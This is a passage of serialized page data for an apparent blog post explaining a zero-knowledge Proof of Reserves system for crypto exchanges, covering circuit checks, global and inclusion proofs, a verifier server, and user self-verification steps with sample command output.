ype":21,"tag":198,"props":96351,"children":96353},{"className":96352},[4822,22381],[96354],{"type":27,"value":93420},{"type":21,"tag":198,"props":96356,"children":96358},{"className":96357},[4822,22381],[96359],{"type":27,"value":22523},{"type":21,"tag":198,"props":96361,"children":96363},{"className":96362,"style":93429},[4822],[96364],{"type":27,"value":3891},{"type":21,"tag":198,"props":96366,"children":96368},{"className":96367},[4822,22381],[96369],{"type":27,"value":30},{"type":21,"tag":198,"props":96371,"children":96373},{"className":96372,"style":93429},[4822,22381],[96374],{"type":27,"value":94248},{"type":21,"tag":198,"props":96376,"children":96378},{"className":96377},[4822,22381],[96379],{"type":27,"value":4544},{"type":21,"tag":198,"props":96381,"children":96383},{"className":96382},[4822,22381],[96384],{"type":27,"value":93456},{"type":21,"tag":198,"props":96386,"children":96388},{"className":96387},[22510],[96389],{"type":27,"value":2051},{"type":21,"tag":198,"props":96391,"children":96393},{"className":96392},[4822,22381],[96394],{"type":27,"value":34},{"type":21,"tag":198,"props":96396,"children":96398},{"className":96397},[4822,22381],[96399],{"type":27,"value":93420},{"type":21,"tag":198,"props":96401,"children":96403},{"className":96402},[4822,22381],[96404],{"type":27,"value":22523},{"type":21,"tag":198,"props":96406,"children":96408},{"className":96407,"style":93429},[4822],[96409],{"type":27,"value":3891},{"type":21,"tag":198,"props":96411,"children":96413},{"className":96412},[4822,22381],[96414],{"type":27,"value":56780},{"type":21,"tag":198,"props":96416,"children":96418},{"className":96417},[4822,22381],[96419],{"type":27,"value":93688},{"type":21,"tag":198,"props":96421,"children":96423},{"className":96422},[4822,22381],[96424],{"type":27,"value":51509},{"type":21,"tag":198,"props":96426,"children":96428},{"className":96427},[22532],[96429],{"type":27,"value":2071},{"type":21,"tag":198,"props":96431,"children":96433},{"className":96432,"style":4998},[4901],[],{"type":21,"tag":198,"props":96435,"children":96437},{"className":96436},[5003],[96438],{"type":27,"value":9386},{"type":21,"tag":198,"props":96440,"children":96442},{"className":96441,"style":4998},[4901],[],{"type":21,"tag":198,"props":96444,"children":96446},{"className":96445},[4811],[96447,96451,96456,96461,96466,96471,96476,96533,96538,96543,96548,96553,96558,96563,96568,96573,96578,96583,96588,96593,96598,96603,96608,96613,96618,96623,96628,96633,96638,96643,96648,96653,96658,96663,96668,96673,96678],{"type":21,"tag":198,"props":96448,"children":96450},{"className":96449,"style":93371},[4816],[],{"type":21,"tag":198,"props":96452,"children":96454},{"className":96453},[4822,22381],[96455],{"type":27,"value":11460},{"type":21,"tag":198,"props":96457,"children":96459},{"className":96458},[4822,22381],[96460],{"type":27,"value":93688},{"type":21,"tag":198,"props":96462,"children":96464},{"className":96463},[4822,22381],[96465],{"type":27,"value":4029},{"type":21,"tag":198,"props":96467,"children":96469},{"className":96468},[4822,22381],[96470],{"type":27,"value":30},{"type":21,"tag":198,"props":96472,"children":96474},{"className":96473},[4822,22381],[96475],{"type":27,"value":95775},{"type":21,"tag":198,"props":96477,"children":96479},{"className":96478},[4822],[96480,96485],{"type":21,"tag":198,"props":96481,"children":96483},{"className":96482,"style":95783},[4822,22381],[96484],{"type":27,"value":33864},{"type":21,"tag":198,"props":96486,"children":96488},{"className":96487},[4837],[96489],{"type":21,"tag":198,"props":96490,"children":96492},{"className":96491},[4842,22435],[96493,96522],{"type":21,"tag":198,"props":96494,"children":96496},{"className":96495},[4847],[96497,96517],{"type":21,"tag":198,"props":96498,"children":96500},{"className":96499,"style":93958},[4852],[96501],{"type":21,"tag":198,"props":96502,"children":96503},{"style":95804},[96504,96508],{"type":21,"tag":198,"props":96505,"children":96507},{"className":96506,"style":4862},[4861],[],{"type":21,"tag":198,"props":96509,"children":96511},{"className":96510},[4867,4868,4869,4870],[96512],{"type":21,"tag":198,"props":96513,"children":96515},{"className":96514},[4822,22381,4870],[96516],{"type":27,"value":4544},{"type":21,"tag":198,"props":96518,"children":96520},{"className":96519},[22538],[96521],{"type":27,"value":22541},{"type":21,"tag":198,"props":96523,"children":96525},{"className":96524},[4847],[96526],{"type":21,"tag":198,"props":96527,"children":96529},{"className":96528,"style":93512},[4852],[96530],{"type":21,"tag":198,"props":96531,"children":96532},{},[],{"type":21,"tag":198,"props":96534,"children":96536},{"className":96535},[4822],[96537],{"type":27,"value":658},{"type":21,"tag":198,"props":96539,"children":96541},{"className":96540},[4822,22381],[96542],{"type":27,"value":30},{"type":21,"tag":198,"props":96544,"children":96546},{"className":96545},[4822,22381],[96547],{"type":27,"value":93688},{"type":21,"tag":198,"props":96549,"children":96551},{"className":96550},[4822,22381],[96552],{"type":27,"value":4029},{"type":21,"tag":198,"props":96554,"children":96556},{"className":96555,"style":93441},[4822,22381],[96557],{"type":27,"value":93444},{"type":21,"tag":198,"props":96559,"children":96561},{"className":96560},[4822,22381],[96562],{"type":27,"value":4544},{"type":21,"tag":198,"props":96564,"children":96566},{"className":96565},[4822,22381],[96567],{"type":27,"value":3954},{"type":21,"tag":198,"props":96569,"children":96571},{"className":96570,"style":93429},[4822],[96572],{"type":27,"value":3891},{"type":21,"tag":198,"props":96574,"children":96576},{"className":96575},[4822,22381],[96577],{"type":27,"value":95880},{"type":21,"tag":198,"props":96579,"children":96581},{"className":96580},[4822,22381],[96582],{"type":27,"value":30},{"type":21,"tag":198,"props":96584,"children":96586},{"className":96585},[4822,22381],[96587],{"type":27,"value":93688},{"type":21,"tag":198,"props":96589,"children":96591},{"className":96590},[4822,22381],[96592],{"type":27,"value":22523},{"type":21,"tag":198,"props":96594,"children":96596},{"className":96595},[4822],[96597],{"type":27,"value":658},{"type":21,"tag":198,"props":96599,"children":96601},{"className":96600},[4822,22381],[96602],{"type":27,"value":34},{"type":21,"tag":198,"props":96604,"children":96606},{"className":96605},[4822,22381],[96607],{"type":27,"value":93420},{"type":21,"tag":198,"props":96609,"children":96611},{"className":96610},[4822,22381],[96612],{"type":27,"value":22523},{"type":21,"tag":198,"props":96614,"children":96616},{"className":96615,"style":93429},[4822],[96617],{"type":27,"value":3891},{"type":21,"tag":198,"props":96619,"children":96621},{"className":96620},[4822,22381],[96622],{"type":27,"value":30},{"type":21,"tag":198,"props":96624,"children":96626},{"className":96625,"style":93429},[4822,22381],[96627],{"type":27,"value":94248},{"type":21,"tag":198,"props":96629,"children":96631},{"className":96630},[4822,22381],[96632],{"type":27,"value":4544},{"type":21,"tag":198,"props":96634,"children":96636},{"className":96635},[4822,22381],[96637],{"type":27,"value":94259},{"type":21,"tag":198,"props":96639,"children":96641},{"className":96640},[22510],[96642],{"type":27,"value":2051},{"type":21,"tag":198,"props":96644,"children":96646},{"className":96645},[4822,22381],[96647],{"type":27,"value":34},{"type":21,"tag":198,"props":96649,"children":96651},{"className":96650},[4822,22381],[96652],{"type":27,"value":93420},{"type":21,"tag":198,"props":96654,"children":96656},{"className":96655},[4822,22381],[96657],{"type":27,"value":22523},{"type":21,"tag":198,"props":96659,"children":96661},{"className":96660,"style":93429},[4822],[96662],{"type":27,"value":3891},{"type":21,"tag":198,"props":96664,"children":96666},{"className":96665},[4822,22381],[96667],{"type":27,"value":56780},{"type":21,"tag":198,"props":96669,"children":96671},{"className":96670},[4822,22381],[96672],{"type":27,"value":93688},{"type":21,"tag":198,"props":96674,"children":96676},{"className":96675},[4822,22381],[96677],{"type":27,"value":51509},{"type":21,"tag":198,"props":96679,"children":96681},{"className":96680},[22532],[96682],{"type":27,"value":2071},{"type":27,"value":915},{"type":21,"tag":6137,"props":96685,"children":96686},{},[96687],{"type":27,"value":96688},"(verifies if all asset prices are the same)",{"type":21,"tag":75,"props":96690,"children":96691},{},[96692,97071,97072],{"type":21,"tag":194,"props":96693,"children":96695},{"className":96694},[4794,4795],[96696],{"type":21,"tag":198,"props":96697,"children":96699},{"className":96698},[4800],[96700],{"type":21,"tag":198,"props":96701,"children":96703},{"className":96702,"ariaHidden":4806},[4805],[96704,96785],{"type":21,"tag":198,"props":96705,"children":96707},{"className":96706},[4811],[96708,96712,96717,96722,96727,96732,96737,96742,96747,96752,96757,96762,96767,96772,96776,96781],{"type":21,"tag":198,"props":96709,"children":96711},{"className":96710,"style":94842},[4816],[],{"type":21,"tag":198,"props":96713,"children":96715},{"className":96714},[4822,22381],[96716],{"type":27,"value":51509},{"type":21,"tag":198,"props":96718,"children":96720},{"className":96719,"style":93429},[4822,22381],[96721],{"type":27,"value":94854},{"type":21,"tag":198,"props":96723,"children":96725},{"className":96724,"style":94858},[4822,22381],[96726],{"type":27,"value":89066},{"type":21,"tag":198,"props":96728,"children":96730},{"className":96729,"style":93441},[4822,22381],[96731],{"type":27,"value":93444},{"type":21,"tag":198,"props":96733,"children":96735},{"className":96734},[4822,22381],[96736],{"type":27,"value":51830},{"type":21,"tag":198,"props":96738,"children":96740},{"className":96739,"style":93429},[4822],[96741],{"type":27,"value":3891},{"type":21,"tag":198,"props":96743,"children":96745},{"className":96744},[4822,22381],[96746],{"type":27,"value":22523},{"type":21,"tag":198,"props":96748,"children":96750},{"className":96749},[4822,22381],[96751],{"type":27,"value":94886},{"type":21,"tag":198,"props":96753,"children":96755},{"className":96754,"style":93429},[4822],[96756],{"type":27,"value":3891},{"type":21,"tag":198,"props":96758,"children":96760},{"className":96759},[4822,22381],[96761],{"type":27,"value":94897},{"type":21,"tag":198,"props":96763,"children":96765},{"className":96764},[4822,22381],[96766],{"type":27,"value":11460},{"type":21,"tag":198,"props":96768,"children":96770},{"className":96769},[4822,22381],[96771],{"type":27,"value":84727},{"type":21,"tag":198,"props":96773,"children":96775},{"className":96774,"style":4998},[4901],[],{"type":21,"tag":198,"props":96777,"children":96779},{"className":96778},[5003],[96780],{"type":27,"value":9386},{"type":21,"tag":198,"props":96782,"children":96784},{"className":96783,"style":4998},[4901],[],{"type":21,"tag":198,"props":96786,"children":96788},{"className":96787},[4811],[96789,96793,96798,96803,96808,96813,96818,96823,96828,96833,96838,96895,96900,96904,96909,96914,96971,96976,96980,96985,96990,96994,96999,97004,97066],{"type":21,"tag":198,"props":96790,"children":96792},{"className":96791,"style":4922},[4816],[],{"type":21,"tag":198,"props":96794,"children":96796},{"className":96795,"style":22382},[4822,22381],[96797],{"type":27,"value":22385},{"type":21,"tag":198,"props":96799,"children":96801},{"className":96800},[4822,22381],[96802],{"type":27,"value":93383},{"type":21,"tag":198,"props":96804,"children":96806},{"className":96805},[4822,22381],[96807],{"type":27,"value":4544},{"type":21,"tag":198,"props":96809,"children":96811},{"className":96810},[4822,22381],[96812],{"type":27,"value":70944},{"type":21,"tag":198,"props":96814,"children":96816},{"className":96815},[4822,22381],[96817],{"type":27,"value":93399},{"type":21,"tag":198,"props":96819,"children":96821},{"className":96820},[4822,22381],[96822],{"type":27,"value":56780},{"type":21,"tag":198,"props":96824,"children":96826},{"className":96825},[22510],[96827],{"type":27,"value":706},{"type":21,"tag":198,"props":96829,"children":96831},{"className":96830},[4822,22381],[96832],{"type":27,"value":94897},{"type":21,"tag":198,"props":96834,"children":96836},{"className":96835},[4822,22381],[96837],{"type":27,"value":11460},{"type":21,"tag":198,"props":96839,"children":96841},{"className":96840},[4822],[96842,96847],{"type":21,"tag":198,"props":96843,"children":96845},{"className":96844},[4822,22381],[96846],{"type":27,"value":84727},{"type":21,"tag":198,"props":96848,"children":96850},{"className":96849},[4837],[96851],{"type":21,"tag":198,"props":96852,"children":96854},{"className":96853},[4842,22435],[96855,96884],{"type":21,"tag":198,"props":96856,"children":96858},{"className":96857},[4847],[96859,96879],{"type":21,"tag":198,"props":96860,"children":96862},{"className":96861,"style":93481},[4852],[96863],{"type":21,"tag":198,"props":96864,"children":96865},{"style":93485},[96866,96870],{"type":21,"tag":198,"props":96867,"children":96869},{"className":96868,"style":4862},[4861],[],{"type":21,"tag":198,"props":96871,"children":96873},{"className":96872},[4867,4868,4869,4870],[96874],{"type":21,"tag":198,"props":96875,"children":96877},{"className":96876},[4822,4870],[96878],{"type":27,"value":3482},{"type":21,"tag":198,"props":96880,"children":96882},{"className":96881},[22538],[96883],{"type":27,"value":22541},{"type":21,"tag":198,"props":96885,"children":96887},{"className":96886},[4847],[96888],{"type":21,"tag":198,"props":96889,"children":96891},{"className":96890,"style":93512},[4852],[96892],{"type":21,"tag":198,"props":96893,"children":96894},{},[],{"type":21,"tag":198,"props":96896,"children":96898},{"className":96897},[4933],[96899],{"type":27,"value":2205},{"type":21,"tag":198,"props":96901,"children":96903},{"className":96902,"style":4939},[4901],[],{"type":21,"tag":198,"props":96905,"children":96907},{"className":96906},[4822,22381],[96908],{"type":27,"value":94897},{"type":21,"tag":198,"props":96910,"children":96912},{"className":96911},[4822,22381],[96913],{"type":27,"value":11460},{"type":21,"tag":198,"props":96915,"children":96917},{"className":96916},[4822],[96918,96923],{"type":21,"tag":198,"props":96919,"children":96921},{"className":96920},[4822,22381],[96922],{"type":27,"value":84727},{"type":21,"tag":198,"props":96924,"children":96926},{"className":96925},[4837],[96927],{"type":21,"tag":198,"props":96928,"children":96930},{"className":96929},[4842,22435],[96931,96960],{"type":21,"tag":198,"props":96932,"children":96934},{"className":96933},[4847],[96935,96955],{"type":21,"tag":198,"props":96936,"children":96938},{"className":96937,"style":93481},[4852],[96939],{"type":21,"tag":198,"props":96940,"children":96941},{"style":93485},[96942,96946],{"type":21,"tag":198,"props":96943,"children":96945},{"className":96944,"style":4862},[4861],[],{"type":21,"tag":198,"props":96947,"children":96949},{"className":96948},[4867,4868,4869,4870],[96950],{"type":21,"tag":198,"props":96951,"children":96953},{"className":96952},[4822,4870],[96954],{"type":27,"value":134},{"type":21,"tag":198,"props":96956,"children":96958},{"className":96957},[22538],[96959],{"type":27,"value":22541},{"type":21,"tag":198,"props":96961,"children":96963},{"className":96962},[4847],[96964],{"type":21,"tag":198,"props":96965,"children":96967},{"className":96966,"style":93512},[4852],[96968],{"type":21,"tag":198,"props":96969,"children":96970},{},[],{"type":21,"tag":198,"props":96972,"children":96974},{"className":96973},[4933],[96975],{"type":27,"value":2205},{"type":21,"tag":198,"props":96977,"children":96979},{"className":96978,"style":4939},[4901],[],{"type":21,"tag":198,"props":96981,"children":96983},{"className":96982},[4822],[96984],{"type":27,"value":10402},{"type":21,"tag":198,"props":96986,"children":96988},{"className":96987},[4933],[96989],{"type":27,"value":2205},{"type":21,"tag":198,"props":96991,"children":96993},{"className":96992,"style":4939},[4901],[],{"type":21,"tag":198,"props":96995,"children":96997},{"className":96996},[4822,22381],[96998],{"type":27,"value":94897},{"type":21,"tag":198,"props":97000,"children":97002},{"className":97001},[4822,22381],[97003],{"type":27,"value":11460},{"type":21,"tag":198,"props":97005,"children":97007},{"className":97006},[4822],[97008,97013],{"type":21,"tag":198,"props":97009,"children":97011},{"className":97010},[4822,22381],[97012],{"type":27,"value":84727},{"type":21,"tag":198,"props":97014,"children":97016},{"className":97015},[4837],[97017],{"type":21,"tag":198,"props":97018,"children":97020},{"className":97019},[4842,22435],[97021,97055],{"type":21,"tag":198,"props":97022,"children":97024},{"className":97023},[4847],[97025,97050],{"type":21,"tag":198,"props":97026,"children":97028},{"className":97027,"style":93481},[4852],[97029],{"type":21,"tag":198,"props":97030,"children":97031},{"style":93485},[97032,97036],{"type":21,"tag":198,"props":97033,"children":97035},{"className":97034,"style":4862},[4861],[],{"type":21,"tag":198,"props":97037,"children":97039},{"className":97038},[4867,4868,4869,4870],[97040],{"type":21,"tag":198,"props":97041,"children":97043},{"className":97042},[4822,4870],[97044],{"type":21,"tag":198,"props":97045,"children":97047},{"className":97046},[4822,4870],[97048],{"type":27,"value":97049},"31",{"type":21,"tag":198,"props":97051,"children":97053},{"className":97052},[22538],[97054],{"type":27,"value":22541},{"type":21,"tag":198,"props":97056,"children":97058},{"className":97057},[4847],[97059],{"type":21,"tag":198,"props":97060,"children":97062},{"className":97061,"style":93512},[4852],[97063],{"type":21,"tag":198,"props":97064,"children":97065},{},[],{"type":21,"tag":198,"props":97067,"children":97069},{"className":97068},[22532],[97070],{"type":27,"value":2109},{"type":27,"value":915},{"type":21,"tag":6137,"props":97073,"children":97074},{},[97075],{"type":27,"value":95217},{"type":21,"tag":75,"props":97077,"children":97078},{},[97079,97084,97085],{"type":21,"tag":1671,"props":97080,"children":97081},{},[97082],{"type":27,"value":97083},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":27,"value":915},{"type":21,"tag":6137,"props":97086,"children":97087},{},[97088],{"type":27,"value":95501},{"type":21,"tag":30,"props":97090,"children":97091},{},[97092],{"type":27,"value":97093},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":21,"tag":30,"props":97095,"children":97096},{},[97097],{"type":21,"tag":1376,"props":97098,"children":97100},{"alt":50954,"src":97099},"/posts/por/recursive-circuit.png",[],{"type":21,"tag":22,"props":97102,"children":97104},{"id":97103},"global-proof-and-inclusion-proofs",[97105],{"type":27,"value":97106},"Global Proof and Inclusion Proofs",{"type":21,"tag":59,"props":97108,"children":97109},{"id":10093},[97110],{"type":27,"value":97111},"Proving",{"type":21,"tag":30,"props":97113,"children":97114},{},[97115,97117,97123,97124,97130,97131,97137],{"type":27,"value":97116},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":21,"tag":194,"props":97118,"children":97120},{"className":97119},[],[97121],{"type":27,"value":97122},"merkle_tree.json",{"type":27,"value":828},{"type":21,"tag":194,"props":97125,"children":97127},{"className":97126},[],[97128],{"type":27,"value":97129},"final_proof.json",{"type":27,"value":7299},{"type":21,"tag":194,"props":97132,"children":97134},{"className":97133},[],[97135],{"type":27,"value":97136},"private_nonces.json",{"type":27,"value":97138}," files.",{"type":21,"tag":30,"props":97140,"children":97141},{},[97142],{"type":27,"value":97143},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":21,"tag":30,"props":97145,"children":97146},{},[97147,97149,97155,97157,97162],{"type":27,"value":97148},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":21,"tag":194,"props":97150,"children":97152},{"className":97151},[],[97153],{"type":27,"value":97154},"inclusion_proof_\u003Cid>.json",{"type":27,"value":97156},"). ",{"type":21,"tag":1671,"props":97158,"children":97159},{},[97160],{"type":27,"value":97161},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":27,"value":658},{"type":21,"tag":59,"props":97164,"children":97166},{"id":97165},"verifying",[97167],{"type":27,"value":97168},"Verifying",{"type":21,"tag":30,"props":97170,"children":97171},{},[97172],{"type":21,"tag":6137,"props":97173,"children":97174},{},[97175],{"type":27,"value":97176},"Global Proof",{"type":21,"tag":30,"props":97178,"children":97179},{},[97180,97182,97187,97188,97193],{"type":27,"value":97181},"To verify the global proof, the code deserializes the ",{"type":21,"tag":194,"props":97183,"children":97185},{"className":97184},[],[97186],{"type":27,"value":97122},{"type":27,"value":38311},{"type":21,"tag":194,"props":97189,"children":97191},{"className":97190},[],[97192],{"type":27,"value":97129},{"type":27,"value":97194}," files and performs these checks:",{"type":21,"tag":71,"props":97196,"children":97197},{},[97198,97203,97208,97213,97239],{"type":21,"tag":75,"props":97199,"children":97200},{},[97201],{"type":27,"value":97202},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":21,"tag":75,"props":97204,"children":97205},{},[97206],{"type":27,"value":97207},"Verify the ZK final proof.",{"type":21,"tag":75,"props":97209,"children":97210},{},[97211],{"type":27,"value":97212},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":21,"tag":75,"props":97214,"children":97215},{},[97216,97218,97224,97226,97231,97232,97237],{"type":27,"value":97217},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":21,"tag":194,"props":97219,"children":97221},{"className":97220},[],[97222],{"type":27,"value":97223},"merkle_tree_hash",{"type":27,"value":97225}," public input. This ensures that the ",{"type":21,"tag":194,"props":97227,"children":97229},{"className":97228},[],[97230],{"type":27,"value":97122},{"type":27,"value":11801},{"type":21,"tag":194,"props":97233,"children":97235},{"className":97234},[],[97236],{"type":27,"value":97129},{"type":27,"value":97238}," are linked (they belong to the same global proof).",{"type":21,"tag":75,"props":97240,"children":97241},{},[97242],{"type":27,"value":97243},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":21,"tag":30,"props":97245,"children":97246},{},[97247],{"type":21,"tag":6137,"props":97248,"children":97249},{},[97250],{"type":27,"value":97251},"Inclusion Proof",{"type":21,"tag":30,"props":97253,"children":97254},{},[97255,97257,97262,97264,97269],{"type":27,"value":97256},"To verify the inclusion proof, the code deserializes the ",{"type":21,"tag":194,"props":97258,"children":97260},{"className":97259},[],[97261],{"type":27,"value":97154},{"type":27,"value":97263}," file and also the ",{"type":21,"tag":194,"props":97265,"children":97267},{"className":97266},[],[97268],{"type":27,"value":97129},{"type":27,"value":97270},". After that, it performs these checks:",{"type":21,"tag":71,"props":97272,"children":97273},{},[97274,97278,97283,97288],{"type":21,"tag":75,"props":97275,"children":97276},{},[97277],{"type":27,"value":97207},{"type":21,"tag":75,"props":97279,"children":97280},{},[97281],{"type":27,"value":97282},"Verify if the Merkle tree root is the same as in the final proof.",{"type":21,"tag":75,"props":97284,"children":97285},{},[97286],{"type":27,"value":97287},"Recalculate the user-related node leaf hash.",{"type":21,"tag":75,"props":97289,"children":97290},{},[97291],{"type":27,"value":97292},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":21,"tag":22,"props":97294,"children":97296},{"id":97295},"por-verifier-server",[97297],{"type":27,"value":97298},"PoR Verifier Server",{"type":21,"tag":30,"props":97300,"children":97301},{},[97302,97304,97310],{"type":27,"value":97303},"To automate the verification process, we created a ",{"type":21,"tag":34,"props":97305,"children":97307},{"href":92940,"rel":97306},[38],[97308],{"type":27,"value":97309},"verifier server",{"type":27,"value":97311}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":21,"tag":30,"props":97313,"children":97314},{},[97315],{"type":27,"value":97316},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":21,"tag":30,"props":97318,"children":97319},{},[97320],{"type":21,"tag":1376,"props":97321,"children":97323},{"alt":50954,"src":97322},"/posts/por/backpack-por.png",[],{"type":21,"tag":30,"props":97325,"children":97326},{},[97327],{"type":27,"value":97328},"Here is a breakdown of what fields represent and why they are required:",{"type":21,"tag":138,"props":97330,"children":97331},{},[97332,97342,97352,97362,97372,97382],{"type":21,"tag":75,"props":97333,"children":97334},{},[97335,97340],{"type":21,"tag":6137,"props":97336,"children":97337},{},[97338],{"type":27,"value":97339},"Status",{"type":27,"value":97341}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":21,"tag":75,"props":97343,"children":97344},{},[97345,97350],{"type":21,"tag":6137,"props":97346,"children":97347},{},[97348],{"type":27,"value":97349},"Proof Timestamp",{"type":27,"value":97351}," --> when the proof was generated by the exchange.",{"type":21,"tag":75,"props":97353,"children":97354},{},[97355,97360],{"type":21,"tag":6137,"props":97356,"children":97357},{},[97358],{"type":27,"value":97359},"Verify Timestamp",{"type":27,"value":97361}," --> when the proof was verified by the PoR server.",{"type":21,"tag":75,"props":97363,"children":97364},{},[97365,97370],{"type":21,"tag":6137,"props":97366,"children":97367},{},[97368],{"type":27,"value":97369},"Proof File URL",{"type":27,"value":97371}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":21,"tag":75,"props":97373,"children":97374},{},[97375,97380],{"type":21,"tag":6137,"props":97376,"children":97377},{},[97378],{"type":27,"value":97379},"Prover Version",{"type":27,"value":97381}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":21,"tag":75,"props":97383,"children":97384},{},[97385,97390],{"type":21,"tag":6137,"props":97386,"children":97387},{},[97388],{"type":27,"value":97389},"File Hash (SHA256)",{"type":27,"value":97391}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":21,"tag":30,"props":97393,"children":97394},{},[97395],{"type":27,"value":97396},"Also, you can check the exchange's liabilities on the website:",{"type":21,"tag":30,"props":97398,"children":97399},{},[97400],{"type":21,"tag":1376,"props":97401,"children":97403},{"alt":50954,"src":97402},"/posts/por/backpack-por-liabilities.png",[],{"type":21,"tag":30,"props":97405,"children":97406},{},[97407,97409,97415,97417,97423],{"type":27,"value":97408},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":21,"tag":34,"props":97410,"children":97413},{"href":97411,"rel":97412},"https://backpack.exchange/reserves",[38],[97414],{"type":27,"value":97411},{"type":27,"value":97416}," and our verifier server for backpack at ",{"type":21,"tag":34,"props":97418,"children":97421},{"href":97419,"rel":97420},"https://backpack-por.osec.io/",[38],[97422],{"type":27,"value":97419},{"type":27,"value":658},{"type":21,"tag":22,"props":97425,"children":97427},{"id":97426},"self-verification",[97428],{"type":27,"value":97429},"Self-verification",{"type":21,"tag":30,"props":97431,"children":97432},{},[97433],{"type":27,"value":97434},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":21,"tag":59,"props":97436,"children":97438},{"id":97437},"how-to-verify-if-i-was-included",[97439],{"type":27,"value":97440},"How to verify if I was included?",{"type":21,"tag":30,"props":97442,"children":97443},{},[97444],{"type":27,"value":97445},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":21,"tag":71,"props":97447,"children":97448},{},[97449,97460,97478],{"type":21,"tag":75,"props":97450,"children":97451},{},[97452,97459],{"type":21,"tag":34,"props":97453,"children":97456},{"href":97454,"rel":97455},"https://github.com/otter-sec/por_v2/releases",[38],[97457],{"type":27,"value":97458},"Download the PoRv2 executable from our github",{"type":27,"value":658},{"type":21,"tag":75,"props":97461,"children":97462},{},[97463,97465,97470,97471,97476],{"type":27,"value":97464},"Download the inclusion and the final proof files from the exchange (",{"type":21,"tag":194,"props":97466,"children":97468},{"className":97467},[],[97469],{"type":27,"value":97154},{"type":27,"value":11801},{"type":21,"tag":194,"props":97472,"children":97474},{"className":97473},[],[97475],{"type":27,"value":97129},{"type":27,"value":97477},") and put the files in the same directory as the PoRv2 app.",{"type":21,"tag":75,"props":97479,"children":97480},{},[97481,97483,97489],{"type":27,"value":97482},"Open the terminal and execute this: ",{"type":21,"tag":194,"props":97484,"children":97486},{"className":97485},[],[97487],{"type":27,"value":97488},"./plonky2_por verify-inclusion",{"type":27,"value":658},{"type":21,"tag":30,"props":97491,"children":97492},{},[97493],{"type":27,"value":97494},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":21,"tag":187,"props":97496,"children":97498},{"code":97497},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[97499],{"type":21,"tag":194,"props":97500,"children":97501},{"__ignoreMap":7},[97502],{"type":27,"value":97497},{"type":21,"tag":59,"props":97504,"children":97506},{"id":97505},"how-can-i-verify-the-global-proof",[97507],{"type":27,"value":97508},"How can I verify the global proof?",{"type":21,"tag":30,"props":97510,"children":97511},{},[97512],{"type":27,"value":97513},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":21,"tag":71,"props":97515,"children":97516},{},[97517,97526,97544],{"type":21,"tag":75,"props":97518,"children":97519},{},[97520,97525],{"type":21,"tag":34,"props":97521,"children":97523},{"href":97454,"rel":97522},[38],[97524],{"type":27,"value":97458},{"type":27,"value":658},{"type":21,"tag":75,"props":97527,"children":97528},{},[97529,97531,97536,97537,97542],{"type":27,"value":97530},"Download the ",{"type":21,"tag":194,"props":97532,"children":97534},{"className":97533},[],[97535],{"type":27,"value":97122},{"type":27,"value":38311},{"type":21,"tag":194,"props":97538,"children":97540},{"className":97539},[],[97541],{"type":27,"value":97129},{"type":27,"value":97543}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":21,"tag":75,"props":97545,"children":97546},{},[97547,97549,97554],{"type":27,"value":97548},"Open the terminal and execute ",{"type":21,"tag":194,"props":97550,"children":97552},{"className":97551},[],[97553],{"type":27,"value":97488},{"type":27,"value":97555},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":21,"tag":30,"props":97557,"children":97558},{},[97559],{"type":27,"value":97560},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":21,"tag":187,"props":97562,"children":97564},{"code":97563},"[!] Verifying the proof of 